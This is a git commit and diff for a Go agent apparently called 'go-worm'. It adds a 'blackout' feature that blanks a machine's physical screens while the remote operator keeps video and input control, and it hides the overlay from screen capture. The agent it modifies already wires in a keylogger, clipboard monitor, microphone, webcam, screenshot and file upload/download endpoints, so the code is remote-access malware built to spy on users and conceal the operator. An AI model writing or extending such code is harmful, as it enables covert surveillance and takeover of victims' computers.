feat(agent): add screen blackout feature

- Physical displays blanked via overlay
- Remote video and input keep working
- Exclude overlay from screen capture
- Add blackout API and UI toggle
- Wire flag through capture protocol

lib/agent/agent.go

@@ -11,6 +11,7 @@ import (
 	"strings"
 	"time"
 
+	"tea.chunkbyte.com/kato/go-worm/lib/blackout"
 	"tea.chunkbyte.com/kato/go-worm/lib/capture"
 	"tea.chunkbyte.com/kato/go-worm/lib/clipmon"
 	"tea.chunkbyte.com/kato/go-worm/lib/config"
@@ -75,6 +76,7 @@ func New(cfg Config) (*Agent, error) {
 func (a *Agent) Close() {
 	clipmon.Stop()
 	keylog.Stop()
+	blackout.Stop()
 	capture.Stop()
 	mic.Stop()
 	if a.guard != nil {
@@ -95,6 +97,7 @@ func (a *Agent) Serve() error {
 	mux.HandleFunc("/api/v1/download", a.handleDownload)
 	mux.HandleFunc("/api/v1/upload", a.handleUpload)
 	mux.HandleFunc("/api/v1/screenshot", a.handleScreenshot)
+	mux.HandleFunc("/api/v1/blackout", a.handleBlackout)
 	mux.HandleFunc("/api/v1/webcam", a.handleWebcam)
 	mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
 	mux.HandleFunc("/api/v1/mic", a.handleMic)